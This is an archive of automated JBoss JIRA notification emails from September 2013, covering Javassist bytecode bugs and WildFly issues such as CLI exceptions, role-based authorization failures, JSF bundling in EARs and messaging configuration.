> 	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
> 	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:57)
> 	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
> 	at java.lang.reflect.Constructor.newInstance(Constructor.java:525)
> 	at org.junit.internal.builders.AnnotatedBuilder.buildRunner(AnnotatedBuilder.java:31)
> 	at org.junit.internal.builders.AnnotatedBuilder.runnerForClass(AnnotatedBuilder.java:24)
> 	at org.junit.runners.model.RunnerBuilder.safeRunnerForClass(RunnerBuilder.java:57)
> 	at org.junit.internal.builders.AllDefaultPossibilitiesBuilder.runnerForClass(AllDefaultPossibilitiesBuilder.java:29)
> 	at org.junit.runners.model.RunnerBuilder.safeRunnerForClass(RunnerBuilder.java:57)
> 	at org.junit.internal.requests.ClassRequest.getRunner(ClassRequest.java:24)
> 	at org.eclipse.jdt.internal.junit4.runner.JUnit4TestReference.<init>(JUnit4TestReference.java:33)
> 	at org.eclipse.jdt.internal.junit4.runner.JUnit4TestClassReference.<init>(JUnit4TestClassReference.java:25)
> 	at org.eclipse.jdt.internal.junit4.runner.JUnit4TestLoader.createTest(JUnit4TestLoader.java:48)
> 	at org.eclipse.jdt.internal.junit4.runner.JUnit4TestLoader.loadTests(JUnit4TestLoader.java:38)
> 	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:452)
> 	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.runTests(RemoteTestRunner.java:683)
> 	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.run(RemoteTestRunner.java:390)
> 	at org.eclipse.jdt.internal.junit.runner.RemoteTestRunner.main(RemoteTestRunner.java:197)
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 16:30:03 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 5 Sep 2013 16:30:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JASSIST-207) Inconsistent Stack Map when
 inserting throw Expression with Java 7
In-Reply-To: <JIRA.12495073.1372170431000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12495073.1372170431000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12495073.1372170431000.12142.1378413003970@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JASSIST-207?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow updated JASSIST-207:
---------------------------------

    Fix Version/s: 3.18.1-GA

    
> Inconsistent Stack Map when inserting throw Expression with Java 7
> ------------------------------------------------------------------
>
>                 Key: JASSIST-207
>                 URL: https://issues.jboss.org/browse/JASSIST-207
>             Project: Javassist
>          Issue Type: Bug
>    Affects Versions: 3.18.0-GA
>            Reporter: Ben Romberg
>            Assignee: Shigeru Chiba
>            Priority: Critical
>             Fix For: 3.18.1-GA, 3.19.0-GA
>
>         Attachments: afterInsertThrowExpression.txt, beforeInsertThrowExpression.txt, conditionalThrowExceptionInserted.txt
>
>
> I wrote a unit-test for javassist, reproducing the issue:
> {code}
> public class ThrowExpressionCorruptsStackMapTableTest extends JvstTestRoot {
> 	public ThrowExpressionCorruptsStackMapTableTest(String name) {
> 		super(name);
> 	}
> 	public void testInsertLocalVars() throws Exception {
> 		CtClass cc = sloader.get("test4.LocalVars");
> 		CtMethod m1 = cc.getDeclaredMethod("run");
> 		m1.insertBefore("throw new AssertionError((Object) \"assertion error\");");
> 		cc.writeFile();
> 		Object obj = make(cc.getName());
> 		assertEquals(10, invoke(obj, "run"));
> 	}
> }
> {code}
> Throws:
> java.lang.VerifyError: Expecting a stack map frame in method test4.LocalVars.run()I at offset 45
> My use-case is almost the same, inserting a "throw AssertionError(...)" expression with insertBefore. However, I get a slightly different error message:
> Stack map does not match the one at exception handler 37 in method timeofday.TimeOfDay.getSecond()I at offset 27

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 16:32:04 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 5 Sep 2013 16:32:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JASSIST-158) Method calls with a
 parameter of long[] or double[] are compiled to incorrect bytecode
 resulting in errors such as java.lang.VerifyError: ... Inconsistent
 args_size for opc_invokeinterface
In-Reply-To: <JIRA.12460963.1331140313000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12460963.1331140313000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12460963.1331140313000.12153.1378413124067@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JASSIST-158?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow updated JASSIST-158:
---------------------------------

    Fix Version/s: 3.18.1-GA

    
> Method calls with a parameter of long[] or double[] are compiled to incorrect bytecode resulting in errors such as java.lang.VerifyError: ... Inconsistent args_size for opc_invokeinterface
> --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: JASSIST-158
>                 URL: https://issues.jboss.org/browse/JASSIST-158
>             Project: Javassist
>          Issue Type: Bug
>    Affects Versions: 3.16.1-GA
>            Reporter: Jens Deppe
>            Assignee: Shigeru Chiba
>             Fix For: 3.18.1-GA, 3.19.0-GA
>
>
> I believe this patch fixes the problem:
> Method calls with a parameter of long[] or double[] are compiled to incorrect bytecode. For example, the following piece of code...
> {code}
> long[] aLongArray;
> PdxWriter writer;
> ...
> writer.writeLongArray("aLongArray", aLongArray);
> {code}
> Produces code similar to this:
> {code}
>    13:  aload_1
>    14:  ldc     #32; //String aLongArray
>    16:  aload_0
>    17:  getfield        #35; //Field aLongArray:[J
>    20:  invokeinterface #39,  4; //InterfaceMethod com/gemstone/gemfire/pdx/PdxWriter.writeLongArray:(Ljava/lang/String;[J)Lcom/gemstone/gemfire/pdx/PdxWriter;
>    25:  pop
> {code}
> Following the code, it looks like getfield calculates an incorrect stackdepth when applied to a long[] or double[], resulting in an incorrect number of args applied to invokeinterface.
> The following patch seems to fix things. 
> {code}
> Index: src/main/javassist/compiler/MemberCodeGen.java
> ===================================================================
> --- src/main/javassist/compiler/MemberCodeGen.java	(revision 624)
> +++ src/main/javassist/compiler/MemberCodeGen.java	(working copy)
> @@ -957,7 +957,7 @@
>          else
>              className = null;
>  
> -        boolean is2byte = (c == 'J' || c == 'D');
> +        boolean is2byte = ((c == 'J' || c == 'D') && dim == 0);
>          return is2byte;
>      }
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 16:32:04 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 5 Sep 2013 16:32:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JASSIST-206) API breakage:
 javassist.util.proxy.RuntimeSupport.findMethod has changed signature
In-Reply-To: <JIRA.12494833.1371813796000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494833.1371813796000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494833.1371813796000.12169.1378413124988@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JASSIST-206?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow updated JASSIST-206:
---------------------------------

    Fix Version/s: 3.18.1-GA

    
> API breakage: javassist.util.proxy.RuntimeSupport.findMethod has changed signature
> ----------------------------------------------------------------------------------
>
>                 Key: JASSIST-206
>                 URL: https://issues.jboss.org/browse/JASSIST-206
>             Project: Javassist
>          Issue Type: Bug
>    Affects Versions: 3.17.0-GA, 3.17.1-GA, 3.18.0-GA
>         Environment: JBoss Seam 2.x
>            Reporter: Andrei Ivanov
>            Assignee: Shigeru Chiba
>            Priority: Blocker
>             Fix For: 3.18.1-GA, 3.19.0-GA
>
>
> Now that JASSIST-183 is fixed, I tried again just to discover that another public method has changed signature, breaking JBoss Seam:
> {noformat}
> java.lang.NoSuchMethodError: javassist.util.proxy.RuntimeSupport.findMethod(Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/reflect/Method;
> {noformat}
> Called by:
> http://grepcode.com/file/repository.jboss.org/nexus/content/repositories/releases/org.jboss.seam/jboss-seam/2.2.0.GA/org/jboss/seam/util/ProxyFactory.java

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 16:32:05 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 5 Sep 2013 16:32:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2014) Intermittent failures in
 WSTestCase.testManagementDescription
In-Reply-To: <JIRA.12500161.1378413120403@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500161.1378413120403@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500161.1378413120403.12174.1378413125259@jira02.app.mwc.hst.phx2.redhat.com>

Brian Stansberry created WFLY-2014:
--------------------------------------

             Summary: Intermittent failures in WSTestCase.testManagementDescription
                 Key: WFLY-2014
                 URL: https://issues.jboss.org/browse/WFLY-2014
             Project: WildFly
          Issue Type: Bug
          Components: Web Services
    Affects Versions: 8.0.0.Alpha4
            Reporter: Brian Stansberry
            Assignee: Alessio Soldano


This pops up quite frequently for a long time now (weeks or months):

https://github.com/wildfly/wildfly/pull/5009#issuecomment-23898664

I'm going to send a PR to @Ignore the test.

Also, IMHO this test method doesn't belong in smoke.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 19:09:03 2013
From: jira-events at lists.jboss.org (Brian Stansberry (JIRA))
Date: Thu, 5 Sep 2013 19:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2005) Host scoped role adding JVM
	config
In-Reply-To: <JIRA.12500022.1378368419000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500022.1378368419000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500022.1378368419000.12232.1378422543442@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2005?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802101#comment-12802101 ] 

Brian Stansberry commented on WFLY-2005:
----------------------------------------

Looks like this is a case like datasources, where authz is being denied because of sensitive attributes, but ones that are not actually required. I don't think this will work for Maintainer regardless of the host-scoped role aspect.

There's a bug in the r-r-d impl though, because it says "add" => {"execute" => true}.  Ladislav has already filed a JIRA for that though. It's possible that r-r-d has implemented the bit about ignoring non-required sensitive attributes.

I'll use this one for dealing with the enforcement side of the general use case -- failing non-required sensitive attributes. The other JIRA will be for r-r-d.
                
> Host scoped role adding JVM config
> ----------------------------------
>
>                 Key: WFLY-2005
>                 URL: https://issues.jboss.org/browse/WFLY-2005
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> Although the operation permissions for add() are given, a host scoped fails to create a new JVM on a specific the role is scoped to:
> {noformat}
> [domain at localhost:9990 /] /core-service=management/access=authorization/host-scoped-role=stage_hosts:read-resource
> {
>     "outcome" => "success",
>     "result" => {
>         "base-role" => "maintainer",
>         "hosts" => ["slave"]
>     }
> }
> [domain at localhost:9990 /] /host=slave/jvm=small:add(){roles=STAGE_HOSTS}
> {
>     "outcome" => "failed",
>     "result" => undefined,
>     "failure-description" => {"host-failure-descriptions" => [("slave" => "JBAS013456: Unauthorized to execute operation 'add' for resource '[
>     (\"host\" => \"slave\"),
>     (\"jvm\" => \"small\")
> ]' -- \"Permission denied\"")]},
>     "rolled-back" => true
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 19:32:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 19:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1785) WAR_BUNDLES_JSF_IMPL does not
 work for EAR files
In-Reply-To: <JIRA.12497331.1374754962000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497331.1374754962000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497331.1374754962000.12238.1378423923532@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1785?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802103#comment-12802103 ] 

RH Bugzilla Integration commented on WFLY-1785:
-----------------------------------------------

James Livingston <jlivings at redhat.com> made a comment on [bug 991276|https://bugzilla.redhat.com/show_bug.cgi?id=991276]

Recreated PR against 6.2, with additional required information.

https://github.com/jbossas/jboss-eap/pull/368
                
> WAR_BUNDLES_JSF_IMPL does not work for EAR files
> ------------------------------------------------
>
>                 Key: WFLY-1785
>                 URL: https://issues.jboss.org/browse/WFLY-1785
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF
>    Affects Versions: 8.0.0.Alpha3
>         Environment: Windows 7 Professional.  Service Pack 1. 32 Bit.
>            Reporter: William Lovett
>            Assignee: Stan Silvert
>            Priority: Minor
>             Fix For: 8.0.0.Alpha4
>
>
> Hello Learned and Astonishly Charming JBoss Associates,
> I've been trying for quite some time now to get my successfully deployed WAR to become a successfully deployed EAR.  Much to my chagrin, this has been my white whale, and it just might kill me.
> In a nutshell, the attached EAR file contains a WAR.  If you deploy that WAR file everything works smooth as butter.  As soon as you put it in an EAR format however, you get the following well placed riposte:
> 19:33:57,513 WARN  [org.jboss.as.jsf] (MSC service thread 1-2) JBAS012603: Unknown JSF version 'WAR_BUNDLES_JSF_IMPL'.  Default version 'main' will be used instead.
> Not cool, JBoss.  Not cool.
> I've tried moving the jars to different places in the WAR/EAR.  I've tried using Manifest files.  I've tried colorfully adorned four letter expletives.  JBoss is unmoved.  Does anyone know why JBoss is rejecting my JSF advances?  Can the relationship be fixed?
> Using EAP 6.1 which I believe is equivalent to AS 7.2.
> Thanks in advance,
> Will
> PS:  The forum didn't like me attaching a 1.8 meg file so here's a download link instead
> http://www.williverstravels.com/JDev/Forums/Threads/230850/TestEar.ear

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 20:27:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 20:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1385) Override default
 page-size-bytes in messaging subsystem configuration
In-Reply-To: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492539.1369299013000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492539.1369299013000.12270.1378427223409@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1385?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802109#comment-12802109 ] 

RH Bugzilla Integration commented on WFLY-1385:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 920980|https://bugzilla.redhat.com/show_bug.cgi?id=920980] from POST to MODIFIED
                
> Override default page-size-bytes in messaging subsystem configuration
> ---------------------------------------------------------------------
>
>                 Key: WFLY-1385
>                 URL: https://issues.jboss.org/browse/WFLY-1385
>             Project: WildFly
>          Issue Type: Enhancement
>          Components: JMS
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Jeff Mesnil
>            Assignee: Jeff Mesnil
>            Priority: Minor
>             Fix For: 8.0.0.Alpha2
>
>
> When HornetQ address-full-policy is switched from BLOCK to PAGE, the following exception is thrown during shutdown.
> {noformat}
> Exception:
> 09:48:05,247 WARN  [org.hornetq.core.server] (MSC service thread 1-3) HQ222160: unable to send notification when broadcast group is stopped: java.lang.IllegalStateException: pageSize for address hornetq.notifications >= maxSize. Normally pageSize should be significantly smaller than maxSize, ms: 10485760 ps 10485760
>         at org.hornetq.core.paging.impl.PagingStoreImpl.<init>(PagingStoreImpl.java:147) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingStoreFactoryNIO.newStore(PagingStoreFactoryNIO.java:98) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
>         at org.hornetq.core.paging.impl.PagingManagerImpl.newStore(PagingManagerImpl.java:250) [hornetq-server-2.3.0.CR1-redhat-1.jar:2.3.0.CR1-redhat-1]
> {noformat}
> The standalone-full.xml configuration overrides the default address-setting's max-size-bytes (defaults to -1) to set it at 10 MiB.
> However, if the admin changes the address-full-policy from BLOCK to PAGE, it will conflict with the default value for page-size-bytes which is also 10MiB.
> To make the overridden standalone-full.xml more consistent, we can override page-size-bytes and set it to 2MiB (2097152 bytes). This change has no effect when the address-full-policy remains at BLOCK. When it is changed to PAGE, the resulting configuration will be coherent and there will be no exception thrown

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 20:27:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 20:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1972) CLI command should not allow
 same runtime-name to be used at another deploy
In-Reply-To: <JIRA.12499646.1377792094000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499646.1377792094000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499646.1377792094000.12274.1378427223598@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1972?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802110#comment-12802110 ] 

RH Bugzilla Integration commented on WFLY-1972:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 983980|https://bugzilla.redhat.com/show_bug.cgi?id=983980] from POST to MODIFIED
                
> CLI command should not allow same runtime-name to be used at another deploy
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-1972
>                 URL: https://issues.jboss.org/browse/WFLY-1972
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Emmanuel Hugonnet
>            Assignee: Brian Stansberry
>
> Having two deployments with the same runtime-name in the domain content repository, so they can be deployed to different instances, is ok.
> Having two deployments with the same runtime name actually deployed to an instance is not (that's the issue here).
> Same for standalone.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 20:29:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 20:29:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1868) Enable build on non en_US
	locale machine
In-Reply-To: <JIRA.12498468.1376385973000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498468.1376385973000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498468.1376385973000.12277.1378427343387@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1868?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802112#comment-12802112 ] 

RH Bugzilla Integration commented on WFLY-1868:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1003603|https://bugzilla.redhat.com/show_bug.cgi?id=1003603] from NEW to MODIFIED
                
> Enable build  on non en_US locale machine
> -----------------------------------------
>
>                 Key: WFLY-1868
>                 URL: https://issues.jboss.org/browse/WFLY-1868
>             Project: WildFly
>          Issue Type: Feature Request
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 20:31:09 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 20:31:09 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1512) jboss-cli.sh throws NPE in
 batch mode with certain commands
In-Reply-To: <JIRA.12494141.1371074831000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494141.1371074831000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494141.1371074831000.12286.1378427469855@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1512?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802114#comment-12802114 ] 

RH Bugzilla Integration commented on WFLY-1512:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 977426|https://bugzilla.redhat.com/show_bug.cgi?id=977426] from ASSIGNED to MODIFIED
                
> jboss-cli.sh throws NPE in batch mode with certain commands
> -----------------------------------------------------------
>
>                 Key: WFLY-1512
>                 URL: https://issues.jboss.org/browse/WFLY-1512
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha2
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Alpha2
>
>
> When the jboss-cli.sh (and by extension, the CommandContext API in java) is given certain commands while not connected to the client, an unhandled NPE is thrown from org.jboss.as.cli.handlers.GenericTypeOperationHandler.getOperationDescription(GenericTypeOperationHandler.java:886)
> Certain other commands succeed: 
> [disconnected / #] /subsystem=datasources/jdbc-driver=ibmdb2:add(driver-name=ibmdb2,driver-module-name=com.ibm.db2)
> #1 /subsystem=datasources/jdbc-driver=ibmdb2:add(driver-name=ibmdb2,driver-module-name=com.ibm.db2)
> The line in question is here, in org.jboss.as.cli.handlers.GenericTypeOperationHandler:
> result = ctx.getModelControllerClient().execute(request);
> At the time of this call, the client field of the context is null; therefore, calling the execute method results in this NPE. This code is not hit with the /subsystem command because of some logic I see in CommandContextImpl.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 20:31:10 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 20:31:10 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1574) jboss-cli.sh throws
 IllegalArgumentException when using tab complete
In-Reply-To: <JIRA.12494883.1371828708000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494883.1371828708000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494883.1371828708000.12294.1378427470228@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1574?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802116#comment-12802116 ] 

RH Bugzilla Integration commented on WFLY-1574:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 977407|https://bugzilla.redhat.com/show_bug.cgi?id=977407] from ASSIGNED to MODIFIED
                
> jboss-cli.sh throws IllegalArgumentException when using tab complete
> --------------------------------------------------------------------
>
>                 Key: WFLY-1574
>                 URL: https://issues.jboss.org/browse/WFLY-1574
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha1
>         Environment: Linux 3.9.4-200.fc18.x86_64 #1 SMP Fri May 24 20:10:49 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
>            Reporter: Thomas Hauser
>            Assignee: Alexey Loubyansky
>             Fix For: 8.0.0.Alpha3
>
>
> When using tab complete to try and auto-fill values or get hints as to the allowed values for certain attributes, an IllegalArgumentException is thrown.
> Note: This issue also affects 7.2.0.Final 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 20:33:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 20:33:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1988) SaslException at startup in
 domain mode using JAAS for ManagementRealm
In-Reply-To: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499810.1378201935000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499810.1378201935000.12299.1378427583486@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1988?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802119#comment-12802119 ] 

RH Bugzilla Integration commented on WFLY-1988:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1003464|https://bugzilla.redhat.com/show_bug.cgi?id=1003464] from ASSIGNED to MODIFIED
                
>  SaslException at startup in domain mode using JAAS for ManagementRealm
> -----------------------------------------------------------------------
>
>                 Key: WFLY-1988
>                 URL: https://issues.jboss.org/browse/WFLY-1988
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Emmanuel Hugonnet
>            Assignee: Emmanuel Hugonnet
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 20:35:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 5 Sep 2013 20:35:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-49) EJB2 CMP - NullPointerException
 if the entity-bean.bean-instance-pool is configured
In-Reply-To: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483529.1359133735000.12305.1378427703765@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-49?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802120#comment-12802120 ] 

RH Bugzilla Integration commented on WFLY-49:
---------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 911297|https://bugzilla.redhat.com/show_bug.cgi?id=911297] from POST to MODIFIED
                
> EJB2 CMP - NullPointerException if the entity-bean.bean-instance-pool is configured
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-49
>                 URL: https://issues.jboss.org/browse/WFLY-49
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: *full* profiles with configured CMP subsystem and added configuration of entity-bean instance pool
>            Reporter: Wolf-Dieter Fink
>            Assignee: Wolf-Dieter Fink
>              Labels: ejb, entitybean
>             Fix For: 8.0.0.Alpha1
>
>
> If the pool for entity-bean instances is added to the ejb3 subsystem and CMP is used a NullPointerException is thrown if the instances is obtained from the instance-pool. This will be the second access to the entity.
> The problem is that the PersistenceContext is not set correct if the instance is obtained from the pool.
> Caused by: java.lang.NullPointerException
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getFieldState(JDBCCMP2xFieldBridge.java:293) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getLoadedState(JDBCCMP2xFieldBridge.java:275) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getInstanceValue(JDBCCMP2xFieldBridge.java:175) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCAbstractCMPFieldBridge.getValue(JDBCAbstractCMPFieldBridge.java:196) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
